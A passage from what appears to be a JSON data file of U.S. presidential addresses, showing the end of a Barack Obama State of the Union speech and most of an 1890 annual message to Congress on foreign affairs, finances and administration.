Americans, no\nother country in the world does what we do.  On every issue, the world\nturns to us, not simply because of the size of our economy or our\nmilitary might  but because of the ideals we stand for, and the burdens\nwe bear to advance them. No one knows this better than those who serve\nin uniform.  As this time of war draws to a close, a new generation of\nheroes returns to civilian life.  We'll keep slashing that backlog so\nour veterans receive the benefits they've earned, and our wounded\nwarriors receive the health care  including the mental health care \nthat they need.  We'll keep working to help all our veterans translate\ntheir skills and leadership into jobs here at home.  And we all continue\nto join forces to honor and support our remarkable military families.\nLet me tell you about one of those families I've come to know. I first\nmet Cory Remsburg, a proud Army Ranger, at Omaha Beach on the 65th\nanniversary of D-Day.  Along with some of his fellow Rangers, he walked\nme through the program  a strong, impressive young man, with an easy\nmanner, sharp as a tack.  We joked around, and took pictures, and I told\nhim to stay in touch. A few months later, on his tenth deployment, Cory\nwas nearly killed by a massive roadside bomb in Afghanistan. His\ncomrades found him in a canal, face down, underwater, shrapnel in his\nbrain.  For months, he lay in a coma.  The next time I met him, in the\nhospital, he couldn't speak; he could barely move.  Over the years, he's\nendured dozens of surgeries and procedures, and hours of grueling rehab\nevery day.  Even now, Cory is still blind in one eye.  He still\nstruggles on his left side.  But slowly, steadily, with the support of\ncaregivers like his dad Craig, and the community around him, Cory has\ngrown stronger. Day by day, he's learned to speak again and stand again\nand walk again  and he's working toward the day when he can serve his\ncountry again.  \"My recovery has not been easy,\" he says. \"Nothing in\nlife that's worth anything is easy.\"  Cory is here tonight.  And like\nthe Army he loves, like the America he serves, Sergeant First Class Cory\nRemsburg never gives up, and he does not quit.  My fellow Americans, men\nand women like Cory remind us that America has never come easy.  Our\nfreedom, our democracy, has never been easy.  Sometimes we stumble; we\nmake mistakes; we get frustrated or discouraged.  But for more than two\nhundred years, we have put those things aside and placed our collective\nshoulder to the wheel of progress  to create and build and expand the\npossibilities of individual achievement; to free other nations from\ntyranny and fear; to promote justice, and fairness, and equality under\nthe law, so that the words set to paper by our founders are made real\nfor every citizen.  The America we want for our kids  a rising America\nwhere honest work is plentiful and communities are strong; where\nprosperity is widely shared and opportunity for all lets us go as far as\nour dreams and toil will take us  none of it is easy.  But if we work\ntogether; if we summon what is best in us, with our feet planted firmly\nin today but our eyes cast towards tomorrow  I know it's within our\nreach.  Believe it. God bless you, and God bless the United States of\nAmerica.", 
+    "name": "Barack Obama"
+}
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+{
+    "date": "December 1, 1890", 
+    "speech": "To the Senate and House of Representatives:The reports of the several Executive Departments, which will be laid before\nCongress in the usual course, will exhibit in detail the operations of the\nGovernment for the last fiscal year. Only the more important incidents and\nresults, and chiefly such as may be the foundation of the recommendations I\nshall submit, will be referred to in this annual message.The vast and increasing business of the Government has been transacted by\nthe several Departments during the year with faithfulness, energy, and\nsuccess.The revenues, amounting to above $450,000,000, have been collected and\ndisbursed without revealing, so far as I can ascertain, a single case of\ndefalcation or embezzlement. An earnest effort has been made to stimulate a\nsense of responsibility and public duty in all officers and employees of\nevery grade, and the work done by them has almost wholly escaped\nunfavorable criticism. I speak of these matters with freedom because the\ncredit of this good work is not mine, but is shared by the heads of the\nseveral Departments with the great body of faithful officers and employees\nwho serve under them. The closest scrutiny of Congress is invited to all\nthe methods of administration and to every item of expenditure.The friendly relations of our country with the nations of Europe and of the\nEast have been undisturbed, while the ties of good will and common interest\nthat bind us to the States of the Western Hemisphere have been notably\nstrengthened by the conference held in this capital to consider measures\nfor the general welfare. Pursuant to the invitation authorized by Congress,\nthe representatives of every independent State of the American continent\nand of Hayti met in conference in this capital in October, 1889, and\ncontinued in session until the 19th of last April. This important\nconvocation marks a most interesting and influential epoch in the history\nof the Western Hemisphere. It is noteworthy that Brazil, invited while\nunder an imperial form of government, shared as a republic in the\ndeliberations and results of the conference. The recommendations of this\nconference were all transmitted to Congress at the last session.The International Marine Conference, which sat at Washington last winter,\nreached a very gratifying result. The regulations suggested have been\nbrought to the attention of all the Governments represented, and their\ngeneral adoption is confidently expected. The legislation of Congress at\nthe last session is in conformity with the propositions of the conference,\nand the proclamation therein provided for will be issued when the other\npowers have given notice of their adhesion.The Conference of Brussels, to devise means for suppressing the slave trade\nin Africa, afforded an opportunity for a new expression of the interest the\nAmerican people feel in that great work. It soon became evident that the\nmeasure proposed would tax the resources of the Kongo Basin beyond the\nrevenues available under the general act of Berlin of 1884. The United\nStates, not being a party to that act, could not share in its revision, but\nby a separate act the Independent State of the Kongo was freed from the\nrestrictions upon a customs revenue. The demoralizing and destructive\ntraffic in ardent spirits among the tribes also claimed the earnest\nattention of the conference, and the delegates of the United States were\nforemost in advocating measures for its repression. An accord was reached\nthe influence of which will be very helpful and extend over a wide region.\nAs soon as these measures shall receive the sanction of the Netherlands,\nfor a time withheld, the general acts will be submitted for ratification by\nthe Senate. Meanwhile negotiations have been opened for a new and completed\ntreaty of friendship, commerce, and navigation between the United States\nand the Independent State of the Kongo.Toward the end of the past year the only independent monarchical government\non the Western Continent, that of Brazil, ceased to exist, and was\nsucceeded by a republic. Diplomatic relations were at once established with\nthe new Government, but it was not completely recognized until an\nopportunity had been afforded to ascertain that it had popular approval and\nsupport. When the course of events had yielded assurance of this fact, no\ntime was lost in extending to the new Government a full and cordial welcome\ninto the family of American Commonwealths. It is confidently believed that\nthe good relations of the two countries will be preserved and that the\nfuture will witness an increased intimacy of intercourse and an expansion\nof their mutual commerce.The peace of Central America has again been disturbed through a\nrevolutionary change in Salvador, which was not recognized by other States,\nand hostilities broke out between Salvador and Guatemala, threatening to\ninvolve all Central America in conflict and to undo the progress which had\nbeen made toward a union of their interests. The efforts of this Government\nwere promptly and zealously exerted to compose their differences, and\nthrough the active efforts of the representative of the United States a\nprovisional treaty of peace was signed August 26, whereby the right of the\nRepublic of Salvador to choose its own rulers was recognized. General\nEzeta, the chief of the Provisional Government, has since been confirmed in\nthe Presidency by the Assembly, and diplomatic recognition duly followed.The killing of General Barrundia on board the Pacific mail steamer\nAcapulco, while anchored in transit in the port of San Jose de Guatemala,\ndemanded careful inquiry. Having failed in a revolutionary attempt to\ninvade Guatemala from Mexican territory, General Barrundia took passage at\nAcapulco for Panama. The consent of the representatives of the United\nStates was sought to effect his seizure, first at Champerico, where the\nsteamer touched, and afterwards at San Jose. The captain of the steamer\nrefused to give up his passenger without a written order from the United\nStates minister. The latter furnished the desired letter, stipulating as\nthe condition of his action that General Barrundia's life should be spared\nand that he should be tried only for offenses growing out of his\ninsurrectionary movements. This letter was produced to the captain of the\nAcapulco by the military commander at San Jose as his warrant to take the\npassenger from the steamer. General Barrundia resisted capture and was\nkilled. It being evident that the minister, Mr. Mizner, had exceeded the\nbounds of his authority in intervening, in compliance with the demands of\nthe Guatemalan authorities, to authorize and effect, in violation of\nprecedent, the seizure on a vessel of the United States of a passenger in\ntransit charged with political offenses, in order that he might be tried\nfor such offenses under what was described as martial law, I was\nconstrained to disavow Mr. Mizner's act and recall him from his post.The Nicaragua Canal project, under the control of our citizens, is making\nmost encouraging progress, all the preliminary conditions and initial\noperations having been accomplished within the prescribed time.During the past year negotiations have been renewed for the settlement of\nthe claims of American citizens against the Government of Chile,\nprincipally growing out of the late war with Peru. The reports from our\nminister at Santiago warrant the expectation of an early and satisfactory\nadjustment.Our relations with China, which have for several years occupied so\nimportant a place in our diplomatic history, have called for careful\nconsideration and have been the subject of much correspondence.The communications of the Chinese minister have brought into view the whole\nsubject of our conventional relations with his country, and at the same\ntime this Government, through its legation at Peking, has sought to arrange\nvarious matters and complaints touching the interests and protection of our\ncitizens in China.In pursuance of the concurrent resolution of October 1, 1890, I have\nproposed to the Governments of Mexico and Great Britain to consider a\nconventional regulation of the passage of Chinese laborers across our\nsouthern and northern frontiers.On the 22d day of August last Sir Edmund Monson, the arbitrator selected\nunder the treaty of December 6, 1888, rendered an award to the effect that\nno compensation was due from the Danish Government to the United States on\naccount of what is commonly known as the Carlos Butterfield claim.Our relations with the French Republic continue to be cordial. Our\nrepresentative at that court has very diligently urged the removal of the\nrestrictions imposed upon our meat products, and it is believed that\nsubstantial progress has been made toward a just settlement.The Samoan treaty, signed last year at Berlin by the representatives of the\nUnited States, Germany, and Great Britain, after due ratification and\nexchange, has begun to produce salutary effects. The formation of the\ngovernment agreed upon will soon replace the disorder of the past by a\nstable administration alike just to the natives and equitable to the three\npowers most concerned in trade and intercourse with the Samoan Islands. The\nchief justice has been chosen by the King of Sweden and Norway on the\ninvitation of the three powers, and will soon be installed. The land\ncommission and the municipal council are in process of organization. A\nrational and evenly distributed scheme of taxation, both municipal and upon\nimports, is in operation. Malietoa is respected as King.The new treaty of extradition with Great Britain, after due ratification,\nwas proclaimed on the 25th of last March. Its beneficial working is already\napparent.The difference between the two Governments touching the fur-seal question\nin the Bering Sea is not yet adjusted, as will be seen by the\ncorrespondence which will soon be laid before the Congress. The offer to\nsubmit the question to arbitration, as proposed by Her Majesty's\nGovernment, has not been accepted, for the reason that the form of\nsubmission proposed is not thought to be calculated to assure a conclusion\nsatisfactory to either party. It is sincerely hoped that before the opening\nof another sealing season some arrangement may be effected which will\nassure to the United States a property right derived from Russia, which was\nnot disregarded by any nation for more than eighty years preceding the\noutbreak of the existing trouble.In the tariff act a wrong was done to the Kingdom of Hawaii which I am\nbound to presume was wholly unintentional. Duties were levied on certain\ncommodities which are included in the reciprocity treaty now existing\nbetween the United States and the Kingdom of Hawaii, without indicating the\nnecessary exception in favor of that Kingdom. I hope Congress will repair\nwhat might otherwise seem to be a breach of faith on the part of this\nGovernment.An award in favor of the United States in the matter of the claim of Mr.\nVan Bokkelen against Hayti was rendered on the 4th of December, 1888, but\nowing to disorders then and afterwards prevailing in Hayti the terms of\npayment were not observed. A new agreement as to the time of payment has\nbeen approved and is now in force. Other just claims of citizens of the\nUnited States for redress of wrongs suffered during the late political\nconflict in Hayti will, it is hoped, speedily yield to friendly treatment.Propositions for the amendment of the treaty of extradition between the\nUnited States and Italy are now under consideration.You will be asked to provide the means of accepting the invitation of the\nItalian Government to take part in an approaching conference to consider\nthe adoption of a universal prime meridian from which to reckon longitude\nand time. As this proposal follows in the track of the reform sought to be\ninitiated by the Meridian Conference of Washington, held on the invitation\nof this Government, the United States should manifest a friendly interest\nin the Italian proposal.In this connection I may refer with approval to the suggestion of my\npredecessors that standing provision be made for accepting, whenever deemed\nadvisable, the frequent invitations of foreign governments to share in\nconferences looking to the advancement of international reforms in regard\nto science, sanitation, commercial laws and procedure, and other matters\naffecting the intercourse and progress of modern communities.In the summer of 1889 an incident occurred which for some time threatened\nto interrupt the cordiality of our relations with the Government of\nPortugal. That Government seized the Delagoa Bay Railway, which was\nconstructed under a concession granted to an American citizen, and at the\nsame time annulled the charter. The concessionary, who had embarked his\nfortune in the enterprise, having exhausted other means of redress, was\ncompelled to invoke the protection of his Government. Our representations,\nmade coincidently with those of the British Government, whose subjects were\nalso largely interested, happily resulted in the recognition by Portugal of\nthe propriety of submitting the claim for indemnity growing out of its\naction to arbitration. This plan of settlement having been agreed upon, the\ninterested powers readily concurred in the proposal to submit the case to\nthe judgment of three eminent jurists, to be designated by the President of\nthe Swiss Republic, who, upon the joint invitation of the Governments of\nthe United States, Great Britain, and Portugal, has selected persons well\nqualified for the task before them.The revision of our treaty relations with the Empire of Japan has continued\nto be the subject of consideration and of correspondence. The questions\ninvolved are both grave and delicate; and while it will be my duty to see\nthat the interests of the United States are not by any changes exposed to\nundue discrimination, I sincerely hope that such revision as will satisfy\nthe legitimate expectations of the Japanese Government and maintain the\npresent and long-existing friendly relations between Japan and the United\nStates will be effected.The friendship between our country and Mexico, born of close neighborhood\nand strengthened by many considerations of intimate intercourse and\nreciprocal interest, has never been more conspicuous than now nor more\nhopeful of increased benefit to both nations. The intercourse of the two\ncountries by rail, already great, is making constant growth. The\nestablished lines and those recently projected add to the intimacy of\ntraffic and open new channels of access to fresh areas of demand and\nsupply. The importance of the Mexican railway system will be further\nenhanced to a degree almost impossible to forecast if it should become a\nlink in the projected intercontinental railway. I recommend that our\nmission in the City of Mexico be raised to the first class.The cordial character of our relations with Spain warrants the hope that by\nthe continuance of methods of friendly negotiation much may be accomplished\nin the direction of an adjustment of pending questions and of the increase\nof our trade. The extent and development of our trade with the island of\nCuba invest the commercial relations of the United States and Spain with a\npeculiar importance. It is not doubted that a special arrangement in regard\nto commerce, based upon the reciprocity provision of the recent tariff act,\nwould operate most beneficially for both Governments. This subject is now\nreceiving attention.The restoration of the remains of John Ericsson to Sweden afforded a\ngratifying occasion to honor the memory of the great inventor, to whose\ngenius our country owes so much, and to bear witness to the unbroken\nfriendship which has existed between the land which bore him and our own,\nwhich claimed him as a citizen.On the 2d of September last the commission appointed to revise the\nproceedings of the commission under the claims convention between the\nUnited States and Venezuela of 1866 brought its labors to a close within\nthe period fixed for that purpose. The proceedings of the late commission\nwere characterized by a spirit of impartiality and a high sense of justice,\nand an incident which was for many years the subject of discussion between\nthe two Governments has been disposed of in a manner alike honorable and\nsatisfactory to both parties. For the settlement of the claim of the\nVenezuela Steam Transportation Company, which was the subject of a joint\nresolution adopted at the last session of Congress, negotiations are still\nin progress, and their early conclusion is anticipated.The legislation of the past few years has evinced on the part of Congress a\ngrowing realization of the importance of the consular service in fostering\nour commercial relations abroad and in protecting the domestic revenues. As\nthe scope of operations expands increased provision must be made to keep up\nthe essential standard of efficiency. The necessity of some adequate\nmeasure of supervision and inspection has been so often presented that I\nneed only commend the subject to your attention.The revenues of the Government from all sources for the fiscal year ending\nJune 30, 1890, were $463,963,080.55 and the total expenditures for the same\nperiod were $358,618,584.52. The postal receipts have not heretofore been\nincluded in the statement of these aggregates, and for the purpose of\ncomparison the sum of $60,882,097.92 should be deducted from both sides of\nthe account. The surplus for the year, including the amount applied to the\nsinking fund, was $105,344,496.03. The receipts for 1890 were\n$16,030,923.79 and the expenditures $15,739,871 in excess of those of 1889.\nThe customs receipts increased $5,835,842.88 and the receipts from internal\nrevenue $11,725,191.89, while on the side of expenditures that for pensions\nwas $19,312,075.96 in excess of the preceding year.The Treasury statement for the current fiscal year, partly actual and\npartly estimated, is as follows: Receipts from all sources, $406,000,000;\ntotal expenditures, $354,000,000, leaving a surplus of $52,000,000, not\ntaking the postal receipts into the account on either side. The loss of\nrevenue from customs for the last quarter is estimated at $25,000,000, but\nfrom this is deducted a gain of about $16,000,000 realized during the first\nfour months of the year.For the year 1892 the total estimated receipts are $373,000,000 and the\nestimated expenditures $357,852,209.42, leaving an estimated surplus of\n$15,247,790.58, which, with a cash balance of $52,000,000 at the beginning\nof the year, will give $67,247,790.58 as the sum available for the\nredemption of outstanding bonds or other uses. The estimates of receipts\nand expenditures for the Post-Office Department, being equal, are not\nincluded in this statement on either side.The act \"directing the purchase of silver bullion and the issue of Treasury\nnotes thereon,\" approved July 14, 1890, has been administered by the\nSecretary of the Treasury with an earnest purpose to get into circulation\nat the earliest possible dates the full monthly amounts of Treasury notes\ncontemplated by its provisions and at the same time to give to the market\nfor the silver bullion such support as the law contemplates. The recent\ndepreciation in the price of silver has been observed with regret. The\nrapid rise in price which anticipated and followed the passage of the act\nwas influenced in some degree by speculation, and the recent reaction is in\npart the result of the same cause and in part of the recent monetary\ndisturbances. Some months of further trial will be necessary to determine\nthe permanent effect of the recent legislation upon silver values, but it\nis gratifying to know that the increased circulation secured by the act has\nexerted, and will continue to exert, a most beneficial influence upon\nbusiness and upon general values.While it has not been thought best to renew formally the suggestion of an\ninternational conference looking to an agreement touching the full use of\nsilver for coinage at a uniform ratio, care has been taken to observe\nclosely any change in the situation abroad, and no favorable opportunity\nwill be lost to promote a result which it is confidently believed would\nconfer very large benefits upon the commerce of the world.The recent monetary disturbances in England are not unlikely to suggest a\nreexamination of opinions upon this subject. Our very large supply of gold\nwill, if not lost by impulsive legislation in the supposed interest of\nsilver, give us a position of advantage in promoting a permanent and safe\ninternational agreement for the free use of silver as a coin metal.The efforts of the Secretary to increase the volume of money in circulation\nby keeping down the Treasury surplus to the lowest practicable limit have\nbeen unremitting and in a very high degree successful. The tables presented\nby him showing the increase of money in circulation during the last two\ndecades, and especially the table showing the increase during the nineteen\nmonths he has administered the affairs of the Department, are interesting\nand instructive. The increase of money in circulation during the nineteen\nmonths has been in the aggregate $93,866,813, or about $1.50 per capita,\nand of this increase only $7,100,000 was due to the recent silver\nlegislation. That this substantial and needed aid given to commerce\nresulted in an enormous reduction of the public debt and of the annual\ninterest charge is matter of increased satisfaction. There have been\npurchased and redeemed since March 4, 1889, 4 and 4 1\\2 per cent bonds to\nthe amount of $211,832,450, at a cost of $246,620,741, resulting in the\nreduction of the annual interest charge of $8,967,609 and a total saving of\ninterest of $51,576,706.I notice with great pleasure the statement of the Secretary that the\nreceipts from internal revenue have increased during the last fiscal year\nnearly $12,000,000, and that the cost of collecting this larger revenue was\nless by $90,617 than for the same purpose in the preceding year. The\npercentage of cost of collecting the customs revenue was less for the last\nfiscal year than ever before.The Customs Administration Board, provided for by the act of June 10, 1890,\nwas selected with great care, and is composed in part of men whose previous\nexperience in the administration of the old customs regulations had made\nthem familiar with the evils to be remedied, and in part of men whose legal\nand judicial acquirements and experience seemed to fit them for the work of\ninterpreting and applying the new statute. The chief aim of the law is to\nsecure honest valuations of all dutiable merchandise and to make these\nvaluations uniform at all our ports of entry. It had been made manifest by\na Congressional investigation that a system of undervaluation had been long\nin use by certain classes of importers, resulting not only in a great loss\nof revenue, but in a most intolerable discrimination against honesty. It is\nnot seen how this legislation, when it is understood, can be regarded by\nthe citizens of any country having commercial dealings with us as\nunfriendly. If any duty is supposed to be excessive, let the complaint be\nlodged there. It will surely not be claimed by any well-disposed people\nthat a remedy may be sought and allowed in a system of quasi smuggling.The report of the Secretary of War exhibits several gratifying results\nattained during the year by wise and unostentatious methods. The percentage\nof desertions from the Army (an evil for which both Congress and the\nDepartment have long been seeking a remedy) has been reduced during the\npast year 24 per cent, and for the months of August and September, during\nwhich time the favorable effects of the act of June 16 were felt, 33 per\ncent, as compared with the same months of 1889.The results attained by a reorganization and consolidation of the divisions\nhaving charge of the hospital and service records of the volunteer soldiers\nare very remarkable. This change was effected in July, 1889, and at that\ntime there were 40,654 cases awaiting attention, more than half of these\nbeing calls from the Pension Office for information necessary to the\nadjudication of pension claims. On the 30th day of June last, though over\n300,000 new calls had come in, there was not a single case that had not\nbeen examined and answered.I concur in the recommendations of the Secretary that adequate and regular\nappropriations be continued for coast-defense works and ordnance. Plans\nhave been practically agreed upon, and there can be no good reason for\ndelaying the execution of them, while the defenseless state of our great\nseaports furnishes an urgent reason for wise expedition.The encouragement that has been extended to the militia of the States,\ngenerally and most appropriately designated the \"National Guard,\" should be\ncontinued and enlarged. These military organizations constitute in a large\nsense the Army of the United States, while about five-sixths of the annual\ncost of their maintenance is defrayed by the States.The report of the Attorney-General is under the law submitted directly to\nCongress, but as the Department of Justice is one of the Executive\nDepartments some reference to the work done is appropriate here.A vigorous and in the main an effective effort has been made to bring to\ntrial and punishment all violators of the law, but at the same time care\nhas been taken that frivolous and technical offenses should not be used to\nswell the fees of officers or to harass well-disposed citizens. Especial\nattention is called to the facts connected with the prosecution of\nviolations of the election laws and of offenses against United States\nofficers. The number of convictions secured, very many of them upon pleas\nof guilty, will, it is hoped, have a salutary restraining influence. There\nhave been several cases where postmasters appointed by me have been\nsubjected to violent interference in the discharge of their official duties\nand to persecutions and personal violence of the most extreme character.\nSome of these cases have been dealt with through the Department of Justice,\nand in some cases the post-offices have been abolished or suspended. I have\ndirected the Postmaster-General to pursue this course in all cases where\nother efforts failed to secure for any postmaster not himself in fault an\nopportunity peacefully to exercise the duties of his office. But such\naction will not supplant the efforts of the Department of Justice to bring\nthe particular offenders to punishment.The vacation by judicial decrees of fraudulent certificates of\nnaturalization, upon bills in equity filed by the Attorney-General in the\ncircuit court of the United States, is a new application of a familiar\nequity jurisdiction. Nearly one hundred such decrees have been taken during\nthe year, the evidence disclosing that a very large number of fraudulent\ncertificates of naturalization have been issued. And in this connection I\nbeg to renew my recommendation that the laws be so amended as to require a\nmore full and searching inquiry into all the facts necessary to\nnaturalization before any certificates are granted. It certainly is not too\nmuch to require that an application for American citizenship shall be heard\nwith as much care and recorded with as much formality as are given to cases\ninvolving the pettiest property right.At the last session I returned without my approval a bill entitled \"An act\nto prohibit bookmaking and pool selling in the District of Columbia,\" and\nstated my objection to be that it did not prohibit but in fact licensed\nwhat it purported to prohibit. An effort will be made under existing laws\nto suppress this evil, though it is not certain that they will be found\nadequate.The report of the Postmaster-General shows the most gratifying progress in\nthe important work committed to his direction. The business methods have\nbeen greatly improved. A large economy in expenditures and an increase of\nfour and three-quarters millions in receipts have been realized. The\ndeficiency this year is $5,786,300, as against $6,350,183 last year,\nnotwithstanding the great enlargement of the service. Mail routes have been\nextended and quickened and greater accuracy and dispatch in distribution\nand delivery have been attained. The report will be found to be full of\ninterest and suggestion, not only to Congress, but to those thoughtful\ncitizens who may be interested to know what business methods can do for\nthat department of public administration which most nearly touches all our\npeople.The passage of the act to amend certain sections of the Revised Statutes\nrelating to lotteries, approved September 19, 1890, has been received with\ngreat and deserved popular favor. The Post-Office Department and the\nDepartment of Justice at once entered upon the enforcement of the law with\nsympathetic vigor, and already the public mails have been largely freed\nfrom the fraudulent and demoralizing appeals and literature emanating from\nthe lottery companies.The construction and equipment of the new ships for the Navy have made very\nsatisfactory progress. Since March 4, 1889, nine new vessels have been put\nin commission, and during this winter four more, including one monitor,\nwill be added. The construction of the other vessels authorized is being\npushed both in the Government and private yards with energy and watched\nwith the most scrupulous care.The experiments conducted during the year to test the relative resisting\npower of armor plates have been so valuable as to attract great attention\nin Europe. The only part of the work upon the new ships that is threatened\nby unusual delay is the armor plating, and every effort is being made to\nreduce that to the minimum. It is a source of congratulation that the\nanticipated influence of these modern vessels upon the esprit de corps of\nthe officers and seamen has been fully realized. Confidence and pride in\nthe ship among the crew are equivalent to a secondary battery. Your\nfavorable consideration is invited to the recommendations of the\nSecretary.The report of the Secretary of the Interior exhibits with great fullness\nand clearness the vast work of that Department and the satisfactory results\nattained. The suggestions made by him are earnestly commended to the\nconsideration of Congress, though they can not all be given particular\nmention here.The several acts of Congress looking to the reduction of the larger Indian\nreservations, to the more rapid settlement of the Indians upon individual\nallotments, and the restoration to the public domain of lands in excess of\ntheir needs have been largely carried into effect so far as the work was\nconfided to the Executive. Agreements have been concluded since March 4,\n1889, involving the cession to the United States of about 14,726,000 acres\nof land. These contracts have, as required by law, been submitted to\nCongress for ratification and for the appropriations necessary to carry\nthem into effect. Those with the Sisseton and Wahpeton, Sac and Fox, Iowa,\nPottawatomies and Absentee Shawnees, and Coeur d'Alene tribes have not yet\nreceived the sanction of Congress. Attention is also called to the fact\nthat the appropriations made in the case of the Sioux Indians have not\ncovered all the stipulated payments. This should be promptly corrected. If\nan agreement is confirmed, all of its terms should be complied with without\ndelay and full appropriations should be made.The policy outlined in my last annual message in relation to the patenting\nof lands to settlers upon the public domain has been carried out in the\nadministration of the Land Office. No general suspicion or imputation of\nfraud has been allowed to delay the hearing and adjudication of individual\ncases upon their merits. The purpose has been to perfect the title of\nhonest settlers with such promptness that the value of the entry might not\nbe swallowed up by the expense and extortions to which delay subjected the\nclaimant. The average monthly issue of agricultural patents has been\nincreased about 6,000.The disability-pension act, which was approved on the 27th of June last,\nhas been put into operation as rapidly as was practicable. The increased\nclerical force provided was selected and assigned to work, and a\nconsiderable part of the force engaged in examinations in the field was\nrecalled and added to the working force of the office. The examination and\nadjudication of claims have by reason of improved methods been more rapid\nthan ever before. There is no economy to the Government in delay, while\nthere is much hardship and injustice to the soldier. The anticipated\nexpenditure, while very large, will not, it is believed, be in excess of\nthe estimates made before the enactment of the law. This liberal\nenlargement of the general law should suggest a more careful scrutiny of\nbills for special relief, both as to the cases where relief is granted and\nas to the amount allowed.The increasing numbers and influence of the non-Mormon population of Utah\nare observed with satisfaction. The recent letter of Wilford Woodruff,\npresident of the Mormon Church, in which he advised his people \"to refrain\nfrom contracting any marriage forbidden by the laws of the land,\" has\nattracted wide attention, and it is hoped that its influence will be highly\nbeneficial in restraining infractions of the laws of the United States. But\nthe fact should not be overlooked that the doctrine or belief of the church\nthat polygamous marriages are rightful and supported by divine revelation\nremains unchanged. President Woodruff does not renounce the doctrine, but\nrefrains from teaching it, and advises against the practice of it because\nthe law is against it. Now, it is quite true that the law should not\nattempt to deal with the faith or belief of anyone; but it is quite another\nthing, and the only safe thing, so to deal with the Territory of Utah as\nthat those who believe polygamy to be rightful shall not have the power to\nmake it lawful.The admission of the States of Wyoming and Idaho to the Union are events\nfull of interest and congratulation, not only to the people of those States\nnow happily endowed with a full participation in our privileges and\nresponsibilities, but to all our people. Another belt of States stretches\nfrom the Atlantic to the Pacific.The work of the Patent Office has won from all sources very high\ncommendation. The amount accomplished has been very largely increased, and\nall the results have been such as to secure confidence and consideration\nfor the suggestions of the Commissioner.The enumeration of the people of the United States under the provisions of\nthe act of March 1, 1889, has been completed, and the result will be at\nonce officially communicated to Congress. The completion of this decennial\nenumeration devolves upon Congress the duty of making a new apportionment\nof Representatives \"among the several States according to their respective\nnumbers.\"At the last session I had occasion to return with my objections several\nbills making provisions for the erection of public buildings for the reason\nthat the expenditures contemplated were, in my opinion, greatly in excess\nof any public need. No class of legislation is more liable to abuse or to\ndegenerate into an unseemly scramble about the public Treasury than this.\nThere should be exercised in this matter a wise economy, based upon some\nresponsible and impartial examination and report as to each case, under a\ngeneral law.The report of the Secretary of Agriculture deserves especial attention in\nview of the fact that the year has been marked in a very unusual degree by\nagitation and organization among the farmers looking to an increase in the\nprofits of their business. It will be found that the efforts of the\nDepartment have been intelligently and zealously devoted to the promotion\nof the interests intrusted to its care.A very substantial improvement in the market prices of the leading farm\nproducts during the year is noticed. The price of wheat advanced from 81\ncents in October, 1889, to $1.00 3/4 in October, 1890; corn from 31 cents\nto 50 1/4 cents; oats from 19 1/4 cents to 43 cents, and barley from 63\ncents to 78 cents. Meats showed a substantial but not so large an increase.\nThe export trade in live animals and fowls shows a very large increase. The\ntotal value of such exports for the year ending June 30, 1890, was\n$33,000,000, and the increase over the preceding year was over $15,000,000.\nNearly 200,000 more cattle and over 45,000 more hogs were exported than in\nthe preceding year. The export trade in beef and pork products and in dairy\nproducts was very largely increased, the increase in the article of butter\nalone being from 15,504,978 pounds to 29,748,042 pounds, and the total\nincrease in the value of meat and dairy products exported being\n$34,000,000. This trade, so directly helpful to the farmer, it is believed,\nwill be yet further and very largely increased when the system of\ninspection and sanitary supervision now provided by law is brought fully\ninto operation.The efforts of the Secretary to establish the healthfulness of our meats\nagainst the disparaging imputations that have been put upon them abroad\nhave resulted in substantial progress. Veterinary surgeons sent out by the\nDepartment are now allowed to participate in the inspection of the live\ncattle from this country landed at the English docks, and during the\nseveral months they have been on duty no case of contagious\npleuro-pneumonia has been reported. This inspection abroad and the domestic\ninspection of live animals and pork products provided for by the act of\nAugust 30, 1890, will afford as perfect a guaranty for the wholesomeness of\nour meats offered for foreign consumption as is anywhere given to any food\nproduct, and its nonacceptance will quite clearly reveal the real motive of\nany continued restriction of their use, and that having been made clear the\nduty of the Executive will be very plain.The information given by the Secretary of the progress and prospects of the\nbeet-sugar industry is full of interest. It has already passed the\nexperimental stage and is a commercial success. The area over which the\nsugar beet can be successfully cultivated is very large, and another field\ncrop of great value is offered to the choice of the farmer.The Secretary of the Treasury concurs in the recommendation of the\nSecretary of Agriculture that the official supervision provided by the\ntariff law for sugar of domestic production shall be transferred to the\nDepartment of Agriculture.The law relating to the civil service has, so far as I can learn, been\nexecuted by those having the power of appointment in the classified service\nwith fidelity and impartiality, and the service has been increasingly\nsatisfactory. The report of the Commission shows a large amount of good\nwork done during the year with very limited appropriations.I congratulate the Congress and the country upon the passage at the first\nsession of the Fifty-first Congress of an unusual number of laws of very\nhigh importance. That the results of this legislation will be the\nquickening and enlargement of our manufacturing industries, larger and\nbetter markets for our breadstuffs and provisions both at home and abroad,\nmore constant employment and better wages for our working people, and an\nincreased supply of a safe currency for the transaction of business, I do\nnot doubt. Some of these measures were enacted at so late a period that the\nbeneficial effects upon commerce which were in the contemplation of\nCongress have as yet but partially manifested themselves.The general trade and industrial conditions throughout the country during\nthe year have shown a marked improvement. For many years prior to 1888 the\nmerchandise balances of foreign trade had been largely in our favor, but\nduring that year and the year following they turned against us. It is very\ngratifying to know that the last fiscal year again shows a balance in our\nfavor of over $68,000,000. The bank clearings, which furnish a good test of\nthe volume of business transacted, for the first ten months of the year\n1890 show as compared with the same months of 1889 an increase for the\nwhole country of about 8.4 per cent, while the increase outside of the city\nof New York was over 13 per cent. During the month of October the clearings\nof the whole country showed an increase of 3.1 per cent over October, 1889,\nwhile outside of New York the increase was 11.5 per cent. These figures\nshow that the increase in the volume of business was very general\nthroughout the country. That this larger business was being conducted upon\na safe and profitable basis is shown by the fact that there were 300 less\nfailures reported in October, 1890, than in the same month of the preceding\nyear, with liabilities diminished by about $5,000,000.The value of our exports of domestic merchandise during the last year was\nover $115,000,000 greater than the preceding year, and was only exceeded\nonce in our history. About $100,000,000 of this excess was in agricultural\nproducts. The production of pig iron, always a good gauge of general\nprosperity, is shown by a recent census bulletin to have been 153 per cent\ngreater in 1890 than in 1880, and the production of steel 290 per cent\ngreater. Mining in coal has had no limitation except that resulting from\ndeficient transportation. The general testimony is that labor is everywhere\nfully employed, and the reports for the last year show a smaller number of\nemployees affected by strikes and lockouts than in any year since 1884. The\ndepression in the prices of agricultural products had been greatly relieved\nand a buoyant and hopeful tone was beginning to be felt by all our people.These promising influences have been in some degree checked by the\nsurprising and very unfavorable monetary events which have recently taken\nplace in England. It is gratifying to know that these did not grow in any\ndegree out of the financial relations of London with our people or out of\nany discredit attached to our securities held in that market. The return of\nour bonds and stocks was caused by a money stringency in England, not by\nany loss of value or credit in the securities themselves. We could not,\nhowever, wholly escape the ill effects of a foreign monetary agitation\naccompanied by such extraordinary incidents as 